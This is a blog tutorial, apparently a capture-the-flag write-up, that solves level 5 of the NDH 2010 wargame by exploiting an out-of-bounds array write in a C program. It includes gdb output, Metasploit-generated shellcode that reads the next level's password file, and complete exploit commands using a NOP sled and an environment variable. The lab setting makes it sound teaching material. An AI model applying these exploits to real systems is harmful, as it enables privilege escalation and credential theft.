lundi 9 août 2010

lvl5 wargame NDH2010 - buffer overflow tutorial

level 5 wargame NDH 2010 - tutorial exploitation buffer-overflow - injection in an environment variable

This article describes the resolution of the french "Nuit du hack 2010" wargame test n°5. This is a variation of an exploitation of buffer-overflow. New: we use the console version of Metasploit. We present the injection of code through an environment variable of the system.


solution


$ ./level5 33 $( perl -e 'print "-1073743759" . "A" . "\x90"x200 . "\x89\xe5\xdd\xc0\xd9\x75\xf4\x5e\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x42\x4a\x44\x4b\x42\x78\x4e\x79\x51\x42\x43\x56\x51\x78\x44\x6d\x43\x53\x4b\x39\x48\x67\x43\x58\x44\x6f\x43\x43\x42\x48\x43\x30\x50\x68\x44\x6f\x50\x62\x42\x49\x50\x6e\x4d\x59\x4d\x33\x46\x32\x4b\x58\x44\x55\x45\x50\x43\x30\x47\x70\x45\x33\x50\x61\x44\x34\x45\x70\x46\x4e\x46\x4e\x46\x4f\x50\x6c\x50\x65\x42\x56\x45\x35\x42\x4c\x47\x46\x44\x6f\x50\x70\x43\x51\x51\x63\x51\x63\x50\x77\x51\x74\x45\x50\x50\x57\x50\x53\x4c\x49\x48\x61\x4a\x6d\x4f\x70\x41\x41"')

the buffer-overflow


See the source code:

level5@srv-public:~$ cat ./level5.c
#include < stdio.h>
#include < stdlib.h>
#include < unistd.h>

// gcc -o level5 level5.c -fno-stack-protect or -z execstack -mpreferred-stack-boundary=2

void setArray(int frame, int value) {
int array[32];

array[frame] = value;
printf("fill case %d with %d.\n", frame, value);
return;
}

int main(int argc, char **argv) {
if (argc != 3)
printf("syntax: %s [slot] [val]\n", argv[0]);
else
setArray(atoi(argv[1]), atoi(argv[2]));
exit(0);
}

The function setArray() begins with an array of 32 integers. As we control the argument frame, we can write in the 32nd cell (or more. cells attended are between 0 and 31). Because of that, we can overflow the buffer allocated to the array. We choose 33, you'll see later why.

level5@srv-public:~$ ./level5 33 1
fill case 33 with 1.
Erreur de segmentation
Tip: the buffer overflow is controled by the array length.

Control the return address


Let's use gdb

level5@srv-public:~$ gdb level5
(gdb) disassemble setArray
Dump of assembler code for function setArray:
0x08048424 <+0>: push %ebp
0x08048425 <+1>: mov %esp,%ebp
0x08048427 <+3>: sub $0x8c,%esp
0x0804842d <+9>: mov 0x8(%ebp),%eax
0x08048430 <+12>: mov 0xc(%ebp),%edx
0x08048433 <+15>: mov %edx,-0x80(%ebp,%eax,4)
0x08048437 <+19>: mov $0x8048580,%eax
0x0804843c <+24>: mov 0xc(%ebp),%edx
0x0804843f <+27>: mov %edx,0x8(%esp)
0x08048443 <+31>: mov 0x8(%ebp),%edx
0x08048446 <+34>: mov %edx,0x4(%esp)
0x0804844a <+38>: mov %eax,(%esp)
0x0804844d <+41>: call 0x8048340
0x08048452 <+46>: leave
0x08048453 <+47>: ret
End of assembler dump.
Put a breakpoint on instruction RET of function setArray()

(gdb) break * setArray+47
Breakpoint 1 at 0x8048453
and run
(gdb) run 33 1
Starting program: /home/level5/level5 33 1
fill case 33 with 1.
Breakpoint 1, 0x08048453 in setArray ()

(gdb) stepi
0x00000001 in ?? ()

we can write directly on the return address. Indeed, as the array is defined at the beginning of the function, the stack is like that:
+-----------------+
| array |
+-----------------+
| ebp |
+-----------------+
| eip |
+-------- --------+

a signed or unsigned integer is coded on 4 bytes (32 bits), which corresponds to a memory word (with 32 bits processors). So, when we write in the 32nd cell of the array, we crush ebp. When we write in 33rd cell, we crush directly eip.

payload


Use Metsploit to generate the payload. The default encoder puts /x00 in shellcode. So we change it:

$ msfconsole

msf > use payload/linux/x86/exec

msf payload(exec) > set ENCODER [TAB][TAB]
set ENCODER cmd/generic_sh set ENCODER sparc/longxor_tag set ENCODER x86/countdown
set ENCODER cmd/ifs set ENCODER x64/xor set ENCODER x86/fnstenv_mov
set ENCODER cmd/printf_util set ENCODER x86/alpha_mixed set ENCODER x86/jmp_call_additive
set ENCODER generic/none set ENCODER x86/alpha_upper set ENCODER x86/nonalpha
set ENCODER mipsbe/longxor set ENCODER x86/avoid_utf8_tolower set ENCODER x86/nonupper
set ENCODER mipsle/longxor set ENCODER x86/call4_dword_xor set ENCODER x86/shikata_ga_nai
set ENCODER php/base64 set ENCODER x86/context_cpuid set ENCODER x86/single_static_bit
set ENCODER ppc/longxor set ENCODER x86/context_stat set ENCODER x86/unicode_mixed
set ENCODER ppc/longxor_tag set ENCODER x86/context_time set ENCODER x86/unicode_upper

msf payload(exec) > set ENCODER x86/alpha_mixed
ENCODER => x86/alpha_mixed

msf payload(exec) > set CMD "cat ../level6/passwd"
CMD => cat ../level6/passwd

msf payload(exec) > generate
# linux/x86/exec - 174 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_mixed
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=cat ../level6/passwd
buf =
"\x89\xe5\xdd\xc0\xd9\x75\xf4\x5e\x56\x59\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" +
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" +
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" +
"\x42\x75\x4a\x49\x42\x4a\x44\x4b\x42\x78\x4e\x79\x51\x42" +
"\x43\x56\x51\x78\x44\x6d\x43\x53\x4b\x39\x48\x67\x43\x58" +
"\x44\x6f\x43\x43\x42\x48\x43\x30\x50\x68\x44\x6f\x50\x62" +
"\x42\x49\x50\x6e\x4d\x59\x4d\x33\x46\x32\x4b\x58\x44\x55" +
"\x45\x50\x43\x30\x47\x70\x45\x33\x50\x61\x44\x34\x45\x70" +
"\x46\x4e\x46\x4e\x46\x4f\x50\x6c\x50\x65\x42\x56\x45\x35" +
"\x42\x4c\x47\x46\x44\x6f\x50\x70\x43\x51\x51\x63\x51\x63" +
"\x50\x77\x51\x74\x45\x50\x50\x57\x50\x53\x4c\x49\x48\x61" +
"\x4a\x6d\x4f\x70\x41\x41"

injection of the payload, method 1: in the buffer provided by main() (needs gdb)


injection of the payload


We will inject the payload in the second argument of function main():
$ ./level5 33 [EXPLOIT]

Our exploit will be pushed on the stack by main(). Then the function atoi() will be called and the result will be pushed higher on the stack (put in the buffer of the array). the function atoi() will output only the first integers found in the string, without taking into account the following characters in the string. Let's see that:
(gdb) file level5
Reading symbols from /home/level5/level5...(no debugging symbols found)...done.

(gdb) break * setArray+47
Breakpoint 1 at 0x8048453
First, we fill case 33 with 1
(gdb) run 33 1
Starting program: /home/level5/level5 33 1
fill case 33 with 1.
Breakpoint 1, 0x08048453 in setArray ()

(gdb) stepi
0x00000001 in ?? ()
the function atoi() returns 1. Now fill it with 1A. We can see that A is not interpreted by function atoi():
(gdb) run 33 1A
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level5/level5 33 1A
fill case 33 with 1.
Breakpoint 1, 0x08048453 in setArray ()

(gdb) stepi
0x00000001 in ?? ()

Tip: atoi() interpret only integers, not characters.

So we can inject [ADDRESS][A][NOPs][PAYLOAD]

The whole string is 376 bytes long
[ADDRESS] = 4 octets
[A] = 1 octet
[NOPs] = 197 octets
[PAYLOAD] = 174 octets

Payload address

search for the main() arguments address in the memory. The test argument size should have the same size as our future shellcode.

Tip: To find the jump address to the payload, the test argument should be the same size as the exploitation shellcode.

(gdb) break * main

(gdb) run 33 $(perl -e 'print "A"x376')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/level5/level5 33 $(perl -e 'print "A"x376')
fill case 33 with 0.

Breakpoint 1, 0x08048453 in setArray ()
(gdb) x/300x $esp
(...)
0xbffff808: 0x69000000 0x00363836 0x2f000000 0x656d6f68
0xbffff818: 0x76656c2f 0x2f356c65 0x6576656c 0x3300356c
0xbffff828: 0x41410033 0x41414141 0x41414141 0x41414141
0xbffff838: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff848: 0x41414141 0x41414141 0x41414141 0x41414141
(...)
The buffer's adress is 0xbffff82a.

As we add 200 NOP, we can choose addresses between 0xbffff82a and 0xbffff8f2, and turn it into decimals. We choose for example 0xbffff870 (avoid \x00 and \x20 ).

But atoi() returns a signed integer. That means that 1 returns 0x00000001 and -1 returns 0xffffffff. The absolute value limit is 0x7fffffff. See:
(gdb) run 33 4000000000000000
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level5/level5 33 4000000000000000
fill case 33 with 2147483647.
Breakpoint 1, 0x08048453 in setArray ()
(gdb) stepi
0x7fffffff in ?? ()

Tip: use a negative integer to jump on the payload

0xbffff870 => - 0x4000078f => -1073743760

Here is the exploit:
[ADDRESS] = "-1073743759"
[A] = "A"
[NOPs} = $( perl -e 'print "\x90"x197' )
[PAYLOAD] = "\x89\xe5\xdd\xc0\xd9\x75\xf4\x5e\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x42\x4a\x44\x4b\x42\x78\x4e\x79\x51\x42\x43\x56\x51\x78\x44\x6d\x43\x53\x4b\x39\x48\x67\x43\x58\x44\x6f\x43\x43\x42\x48\x43\x30\x50\x68\x44\x6f\x50\x62\x42\x49\x50\x6e\x4d\x59\x4d\x33\x46\x32\x4b\x58\x44\x55\x45\x50\x43\x30\x47\x70\x45\x33\x50\x61\x44\x34\x45\x70\x46\x4e\x46\x4e\x46\x4f\x50\x6c\x50\x65\x42\x56\x45\x35\x42\x4c\x47\x46\x44\x6f\x50\x70\x43\x51\x51\x63\x51\x63\x50\x77\x51\x74\x45\x50\x50\x57\x50\x53\x4c\x49\x48\x61\x4a\x6d\x4f\x70\x41\x41"

Let's try it:
$ ./level5 33 $( perl -e 'print "-1073743759" . "A" . "\x90"x200 . "\x89\xe5\xdd\xc0\xd9\x75\xf4\x5e\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x42\x4a\x44\x4b\x42\x78\x4e\x79\x51\x42\x43\x56\x51\x78\x44\x6d\x43\x53\x4b\x39\x48\x67\x43\x58\x44\x6f\x43\x43\x42\x48\x43\x30\x50\x68\x44\x6f\x50\x62\x42\x49\x50\x6e\x4d\x59\x4d\x33\x46\x32\x4b\x58\x44\x55\x45\x50\x43\x30\x47\x70\x45\x33\x50\x61\x44\x34\x45\x70\x46\x4e\x46\x4e\x46\x4f\x50\x6c\x50\x65\x42\x56\x45\x35\x42\x4c\x47\x46\x44\x6f\x50\x70\x43\x51\x51\x63\x51\x63\x50\x77\x51\x74\x45\x50\x50\x57\x50\x53\x4c\x49\x48\x61\x4a\x6d\x4f\x70\x41\x41"')
MOT DE PASSE

injection of the payload: method 2 : in an environment variable

injection of the payload

copy the NOP and the payload in an environment variable:
level5@srv-public:~$ export LOL=$(perl -e 'print "\x90"x200 . "\x89\xe5\xdd\xc0\xd9\x75\xf4\x5e\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x42\x4a\x44\x4b\x42\x78\x4e\x79\x51\x42\x43\x56\x51\x78\x44\x6d\x43\x53\x4b\x39\x48\x67\x43\x58\x44\x6f\x43\x43\x42\x48\x43\x30\x50\x68\x44\x6f\x50\x62\x42\x49\x50\x6e\x4d\x59\x4d\x33\x46\x32\x4b\x58\x44\x55\x45\x50\x43\x30\x47\x70\x45\x33\x50\x61\x44\x34\x45\x70\x46\x4e\x46\x4e\x46\x4f\x50\x6c\x50\x65\x42\x56\x45\x35\x42\x4c\x47\x46\x44\x6f\x50\x70\x43\x51\x51\x63\x51\x63\x50\x77\x51\x74\x45\x50\x50\x57\x50\x53\x4c\x49\x48\x61\x4a\x6d\x4f\x70\x41\x41"')

address of the payload

Here is a program to find the address of the shellcode. (careful! we added spaces in #include because of a bug in blogspot)
level5@srv-public:~$ vim /tmp/inject.c
// getenvaddress.c
// thanks Niklos !!
// usage: inject 'NOMDELAVARIABLEDENVIRONNEMENT'
#include < stdio.h>
#include < stdlib.h>
#include < string.h>

int main(int argc, char **argv) {
char *ptr;
ptr = getenv(argv[1]);
if( ptr == NULL )
printf("%s not found\n", argv[1]);
else printf("%s found at %08x\n", argv[1], (unsigned int)ptr);
return 0;
}
compile
level5@srv-public:~$ gcc -Wall -o /tmp/getenvaddress /tmp/getenvaddress.c
run
level5@srv-public:~$ /tmp/getenvaddress LOL
LOL found at bffffe5d
turn this address into decimals and add 100 bytes  (to jump into the NOPs)
0xbffffe5d => -0x400001a2 => -1073742242 => -1073742142

and inject:
level5@srv-public:~$ ./level5 33 -1073742142
fill case 33 with -1073742142.
MOT DE PASSE

references

linux x86 exec payload options - http://www.metasploit.com/modules/payload/linux/x86/exec
tuto msf console - http://www.offensive-security.com/metasploit-unleashed/msfconsole
getenv() - http://www.opengroup.org/onlinepubs/000095399/functions/getenv.html

Aucun commentaire:

Enregistrer un commentaire